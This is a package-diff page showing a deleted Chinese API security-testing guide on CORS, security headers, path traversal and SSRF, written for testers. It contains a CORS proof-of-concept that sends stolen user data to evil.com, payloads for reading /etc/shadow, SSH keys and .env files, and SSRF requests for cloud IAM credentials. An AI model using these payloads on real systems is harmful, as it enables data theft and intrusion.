npm - opencode-api-security-testing - Versions diffs - 5.0.0 → 5.2.1 - Mend

opencode-api-security-testing 5.0.0 → 5.2.1

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Files changed (28) hide show

package/package.json +48 -48
package/postinstall.mjs +40 -69
package/references/references/README.md +0 -72
package/references/references/asset-discovery.md +0 -119
package/references/references/fuzzing-patterns.md +0 -129
package/references/references/graphql-guidance.md +0 -108
package/references/references/intake.md +0 -84
package/references/references/pua-agent.md +0 -192
package/references/references/report-template.md +0 -156
package/references/references/rest-guidance.md +0 -76
package/references/references/severity-model.md +0 -76
package/references/references/test-matrix.md +0 -86
package/references/references/validation.md +0 -78
package/references/references/vulnerabilities/01-sqli-tests.md +0 -1128
package/references/references/vulnerabilities/02-user-enum-tests.md +0 -423
package/references/references/vulnerabilities/03-jwt-tests.md +0 -499
package/references/references/vulnerabilities/04-idor-tests.md +0 -362
package/references/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
package/references/references/vulnerabilities/06-biz-logic-tests.md +0 -501
package/references/references/vulnerabilities/07-security-config-tests.md +0 -511
package/references/references/vulnerabilities/08-brute-force-tests.md +0 -457
package/references/references/vulnerabilities/09-vulnerability-chains.md +0 -465
package/references/references/vulnerabilities/10-auth-tests.md +0 -537
package/references/references/vulnerabilities/11-graphql-tests.md +0 -355
package/references/references/vulnerabilities/12-ssrf-tests.md +0 -396
package/references/references/vulnerabilities/README.md +0 -148
package/references/references/workflows.md +0 -192
package/src/src/index.ts +0 -535

package/references/references/vulnerabilities/07-security-config-tests.md DELETED Viewed

@@ -1,511 +0,0 @@
-# 安全配置漏洞测试
-## 1. 概述
-安全配置漏洞包括 CORS 配置不当、安全响应头缺失、路径遍历等配置层面的安全问题。
-## 2. CORS 配置测试
-### 2.1 测试方法
-```bash
-# 1. 检查 CORS 响应头
-GET /api/user/info
-Origin: http://evil.com
-# 检查响应
-Access-Control-Allow-Origin: *
-Access-Control-Allow-Credentials: true
-Access-Control-Allow-Methods: GET, POST, PUT, DELETE
-Access-Control-Allow-Headers: *
-```
-### 2.2 风险判断
-| 配置 | 风险等级 | 说明 |
-|------|----------|------|
-| `ACAO: *` + `ACAC: true` | 高 | 任何站点可获取用户数据 |
-| `ACAO: *` | 中 | 仅可获取公开数据 |
-| `ACAO: null` | 高 | 可能被绕过 |
-| `ACAO: <恶意域名>` + `ACAC: true` | **严重** | 动态反射任意Origin且带凭证 |
-| 具体域名（白名单） | 低 | 正常配置 |
-### 2.3 动态Origin反射测试（重要！）
-**实测发现的漏洞模式**：
-```python
-# 测试不同Origin的CORS响应
-origins = [
-    "https://evil.com",
-    "https://attacker.com",
-    "https://console.ncszkpark.com",
-    "null",
-]
-for origin in origins:
-    r = requests.get(api_url, headers={"Origin": origin})
-    allow_origin = r.headers.get('Access-Control-Allow-Origin')
-    allow_cred = r.headers.get('Access-Control-Allow-Credentials')
-    print(f"Origin: {origin}")
-    print(f"  Allow-Origin: {allow_origin}")
-    print(f"  Allow-Credentials: {allow_cred}")
-    # 严重漏洞：对任意Origin都信任且允许凭证
-    if allow_origin == origin and allow_cred == 'true':
-        print(f"  [严重CORS漏洞] Origin={origin} 被信任！")
-```
-**实际响应示例**：
-```
-Origin: https://evil.com
-  Allow-Origin: https://evil.com
-  Allow-Credentials: true
-  [严重CORS漏洞] Origin=https://evil.com 被信任！
-Origin: https://attacker.com
-  Allow-Origin: https://attacker.com
-  Allow-Credentials: true
-  [严重CORS漏洞] Origin=https://attacker.com 被信任！
-```
-**与传统 * 通配符的区别**：
-```
-传统漏洞: ACAO: * (静态配置)
-新漏洞:   ACAO: <动态反射> + ACAC: true (动态配置错误)
-两种都危险，但动态反射更难检测：
-- 静态 * 容易被安全扫描发现
-- 动态反射每个域名都信任，容易被忽略
-```
-### 2.4 利用条件
-```javascript
-// POC：利用 CORS 窃取用户数据
-<!DOCTYPE html>
-<html>
-<body>
-<script>
-fetch('http://api/user/info', {
-    credentials: 'include'
-}).then(resp => resp.json())
-  .then(data => {
-    fetch('http://evil.com/steal', {
-        method: 'POST',
-        body: JSON.stringify(data)
-    });
-});
-</script>
-</body>
-</html>
-```
-### 2.4 JSONP 利用
-```bash
-# 检查 JSONP 端点
-GET /api/user/info?callback=alert
-# 如果响应
-alert({"userId": 1, "name": "admin"});
-```
-## 3. 安全响应头测试
-### 3.1 必须存在的响应头
-| 响应头 | 作用 | 安全风险 |
-|--------|------|----------|
-| X-Frame-Options | 防止点击劫持 | iframe 嵌入 |
-| X-Content-Type-Options | 防止 MIME 嗅探 | 类型混淆 |
-| X-XSS-Protection | XSS 过滤器 | 反射型 XSS |
-| Content-Security-Policy | 内容安全策略 | XSS/注入 |
-| Strict-Transport-Security | 强制 HTTPS | 中间人攻击 |
-| Referrer-Policy | 引用来源控制 | 信息泄露 |
-### 3.2 测试方法
-```bash
-# 获取所有响应头
-curl -I http://api/
-# 检查每个响应头
-X-Frame-Options: DENY
-X-Content-Type-Options: nosniff
-X-XSS-Protection: 1; mode=block
-Content-Security-Policy: default-src 'self'
-Strict-Transport-Security: max-age=31536000
-Referrer-Policy: no-referrer
-```
-### 3.3 响应头安全值
-```bash
-# X-Frame-Options
-X-Frame-Options: DENY                    # 完全禁止
-X-Frame-Options: SAMEORIGIN              # 仅同源允许
-# X-Content-Type-Options
-X-Content-Type-Options: nosniff           # 防止嗅探
-# Content-Security-Policy
-Content-Security-Policy: default-src 'self'; script-src 'self'
-# Strict-Transport-Security
-Strict-Transport-Security: max-age=31536000; includeSubDomains
-```
-## 4. 路径遍历测试
-### 4.1 测试 Payload
-```bash
-# 基础遍历
-/file?path=../../etc/passwd
-/file?path=../../../windows/system32/drivers/etc/hosts
-# URL 编码
-/file?path=..%2F..%2F..%2Fetc%2Fpasswd
-/file?path=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
-# 双编码
-/file?path=%252e%252e%252f%252e%252e%252fetc%252fpasswd
-# 空字节
-/file?path=../../etc/passwd%00.txt
-# 反斜杠（Windows）
-/file?path=..\..\..\windows\system32\config\sam
-```
-### 4.2 常见路径
-| 系统 | 文件 | 说明 |
-|------|------|------|
-| Linux | `/etc/passwd` | 用户列表 |
-| Linux | `/etc/shadow` | 密码哈希 |
-| Linux | `/root/.ssh/id_rsa` | SSH 私钥 |
-| Windows | `C:\Windows\System32\config\SAM` | 用户账户 |
-| Config | `/app/config.json` | 应用配置 |
-| Config | `/app/.env` | 环境变量 |
-### 4.3 利用链
-```bash
-# 1. 读取配置文件
-GET /file?path=../../app/config.json
-# 2. 获取数据库密码
-GET /file?path=../../etc/passwd
-# 3. SSH 私钥
-GET /file?path=../../root/.ssh/id_rsa
-```
-## 5. SSRF 测试
-### 5.1 测试点
-```bash
-# URL 参数
-GET /api/fetch?url=http://example.com
-GET /api/preview?url=https://internal.corp.local
-# 文件读取
-GET /api/load?file=http://evil.com/shell.php
-# 图片加载
-GET /api/image?url=http://internal.img/
-```
-### 5.2 SSRF Payload
-```bash
-# 本地地址
-?url=http://127.0.0.1:80
-?url=http://localhost:8080
-?url=http://0.0.0.0:22
-# 云元数据
-?url=http://169.254.169.254/latest/meta-data/
-?url=http://metadata.google.internal/computeMetadata/v1/
-# 内网地址
-?url=http://192.168.1.1
-?url=http://10.0.0.1
-?url=http://172.16.0.1
-```
-### 5.3 利用
-```bash
-# 读取云元数据
-GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
-# 内网端口扫描
-GET /api/fetch?url=http://192.168.1.1:22
-# 读取内部文件
-GET /api/fetch?url=file:///etc/passwd
-```
-## 6. 测试检查清单
-```
-□ CORS 配置测试（ACAO + ACAC）
-□ JSONP 端点检测
-□ 安全响应头缺失检测
-□ 路径遍历测试（基础、编码、空字节）
-□ SSRF 测试（内网、元数据）
-□ 评估漏洞利用难度和影响
-```
-## 7. CORS误报判断标准
-### 7.1 核心判断原则
-```
-【重要】CORS配置错误 ≠ 漏洞！
-判断逻辑：
-1. 先确认接口是否需要认证
-2. 再确认返回数据是否为用户敏感信息
-3. 最后判断CORS配置的实际风险
-【真实CORS漏洞特征】
-- 需要认证的接口（如 /user/info, /order/list）
-- 返回用户私有数据（如手机号、地址、订单）
-- 攻击者可以诱导用户访问恶意页面获取数据
-【CORS误报特征】
-- 公开接口（如 /news, /products）
-- 返回的数据本来就可以公开访问
-- 只是配置了ACAO:*但无ACAC
-```
-### 7.2 curl + 对比验证流程
-```bash
-#!/bin/bash
-# CORS漏洞误报判断流程
-TARGET="http://api"
-echo "=== CORS误报判断 ==="
-echo ""
-# 1. 测试公开接口（应该配置CORS）
-echo "[1] 测试公开接口"
-curl -s -I -H "Origin: https://evil.com" "${TARGET}/public/news" | grep -iE "(access-control|content-type)"
-echo ""
-# 2. 测试需要认证的接口
-echo "[2] 测试需要认证的接口"
-curl -s -I -H "Origin: https://evil.com" "${TARGET}/user/info" | grep -iE "(access-control|content-type)"
-echo ""
-# 3. 检查CORS响应头
-check_cors() {
-    local url=$1
-    local name=$2
-    echo "[$name] $url"
-    # 预检请求
-    OPTIONSResp=$(curl -s -I -X OPTIONS -H "Origin: https://evil.com" \
-        -H "Access-Control-Request-Method: GET" \
-        -H "Access-Control-Request-Headers: Authorization" \
-        "$url")
-    # GET请求
-    GETResp=$(curl -s -I -H "Origin: https://evil.com" "$url")
-    # 提取CORS头
-    ACAO=$(echo "$GETResp" | grep -i "Access-Control-Allow-Origin:" | tr -d '\r' || echo "未设置")
-    ACAC=$(echo "$GETResp" | grep -i "Access-Control-Allow-Credentials:" | tr -d '\r' || echo "未设置")
-    ACAM=$(echo "$OPTIONSResp" | grep -i "Access-Control-Allow-Methods:" | tr -d '\r' || echo "未设置")
-    echo "  ACAO: $ACAO"
-    echo "  ACAC: $ACAC"
-    echo "  ACAM: $ACAM"
-    # 风险判断
-    if echo "$ACAO" | grep -q "https://evil.com\|*"; then
-        if echo "$ACAC" | grep -q "true"; then
-            echo "  [高风险] 任意Origin允许携带凭证"
-        else
-            echo "  [中风险] ACAO配置为*或反射Origin"
-        fi
-    fi
-    echo ""
-}
-# 测试各种接口
-check_cors "${TARGET}/public/news" "公开接口"
-check_cors "${TARGET}/user/info" "用户信息接口"
-check_cors "${TARGET}/order/list" "订单接口"
-```
-### 7.3 多维度判断标准
-```python
-import requests
-class CORSTester:
-    """
-    CORS漏洞误报判断
-    【判断矩阵】
-    配置                    | 需要认证    | 公开数据    | 用户私有数据
-    -----------------------|-------------|-------------|---------------
-    ACAO:* + ACAC:false    | 中风险      | 低风险      | 中风险
-    ACAO:* + ACAC:true     | 高风险      | 低风险      | 严重
-    ACAO:反射 + ACAC:false | 中风险      | 低风险      | 中风险
-    ACAO:反射 + ACAC:true   | 严重       | 低风险      | 严重
-    白名单域名              | 低风险      | 低风险      | 低风险
-    """
-    def __init__(self, target):
-        self.target = target
-    def get_cors_headers(self, url, origin="https://evil.com"):
-        """获取CORS响应头"""
-        resp = requests.get(url, headers={"Origin": origin})
-        return {
-            'status': resp.status_code,
-            'acao': resp.headers.get('Access-Control-Allow-Origin', ''),
-            'acac': resp.headers.get('Access-Control-Allow-Credentials', ''),
-            'acam': resp.headers.get('Access-Control-Allow-Methods', ''),
-            'acah': resp.headers.get('Access-Control-Allow-Headers', ''),
-            'body_preview': resp.text[:500]
-        }
-    def is_public_endpoint(self, url):
-        """
-        判断接口是否公开
-        【判断标准】
-        - URL包含 public, anonymous, open 等关键词
-        - 不需要 Authorization header
-        - 返回的数据不需要登录就能获取
-        """
-        public_keywords = ['public', 'anonymous', 'open', 'login', 'signup', 'register']
-        return any(kw in url.lower() for kw in public_keywords)
-    def check_auth_required(self, url):
-        """检查接口是否需要认证"""
-        resp = requests.get(url)  # 无认证请求
-        if resp.status_code == 401:
-            return True  # 需要认证
-        if resp.status_code == 200:
-            # 检查是否返回"请登录"等提示
-            if any(kw in resp.text.lower() for kw in ['login', '请登录', '未授权', 'unauthorized']):
-                return True
-        return False
-    def assess_cors_risk(self, url):
-        """
-        评估CORS配置风险
-        Returns:
-            (is_vuln, severity, reason, details)
-        """
-        # 1. 获取CORS配置
-        cors_info = self.get_cors_headers(url)
-        # 2. 判断是否为公开接口
-        is_public = self.is_public_endpoint(url)
-        # 3. 判断是否需要认证
-        needs_auth = self.check_auth_required(url)
-        # 4. 风险评估
-        acao = cors_info['acao']
-        acac = cors_info['acac']
-        # 无CORS头 → 安全
-        if not acao:
-            return False, "低", "未配置CORS", cors_info
-        # ACAO:* 无 ACAC → 中风险（可被利用但无凭证）
-        if acao == '*' and acac.lower() != 'true':
-            if is_public:
-                return False, "低", "公开接口配置ACAO:*但无凭证", cors_info
-            else:
-                return True, "中", "ACAO:*配置在高风险接口但无ACAC", cors_info
-        # ACAO:* + ACAC:true → 严重
-        if acao == '*' and acac.lower() == 'true':
-            return True, "严重", "ACAO:* + ACAC:true，任意站点可获取用户凭证", cors_info
-        # 反射Origin + ACAC:true → 严重
-        if acao and acao != '*' and acac.lower() == 'true':
-            return True, "严重", f"动态反射Origin({acao}) + ACAC:true", cors_info
-        # 反射Origin（无条件）→ 需要进一步分析
-        if acao and acao != '*':
-            if needs_auth:
-                return True, "高", f"反射Origin在需认证接口({acao})", cors_info
-            else:
-                return False, "中", f"反射Origin在公开接口({acao})", cors_info
-        return False, "低", "CORS配置正常", cors_info
-# 使用示例
-if __name__ == "__main__":
-    tester = CORSTester("http://api")
-    test_urls = [
-        "http://api/public/news",
-        "http://api/user/info",
-        "http://api/order/list",
-        "http://api/admin/users"
-    ]
-    for url in test_urls:
-        is_vuln, severity, reason, details = tester.assess_cors_risk(url)
-        print(f"\n[{'VULN' if is_vuln else 'SAFE'}] {severity} - {url}")
-        print(f"  原因: {reason}")
-        print(f"  响应预览: {details['body_preview'][:200]}")
-```
-### 7.4 实战误报案例
-```
-【案例1：公开接口的CORS配置】
-场景：/api/public/news 配置了 ACAO:*
-curl -I -H "Origin: https://evil.com" /api/public/news
-Access-Control-Allow-Origin: *
-Content-Type: application/json
-判断：
-- 接口是否为公开接口？是（news）
-- 返回数据是否敏感？否（新闻公开）
-- 结论：【误报】无需修复
----
-【案例2：用户接口的CORS配置】
-场景：/api/user/info 配置了 ACAO:*
-curl -I -H "Origin: https://evil.com" /api/user/info
-Access-Control-Allow-Origin: *
-Access-Control-Allow-Credentials: true
-Content-Type: application/json
-判断：
-- 接口是否为公开接口？否（用户信息）
-- 返回数据是否敏感？是（用户私有信息）
-- 结论：【确认漏洞】攻击者可诱导用户访问恶意页面获取用户信息
-```
-| 发现的漏洞 | 关联漏洞 | 利用路径 |
-|------------|----------|----------|
-| CORS | CSRF、数据窃取 | 跨域获取用户数据 |
-| 路径遍历 | 配置泄露、密钥获取 | 读取敏感文件 |
-| SSRF | 内网渗透、云IAM | 访问内部服务 |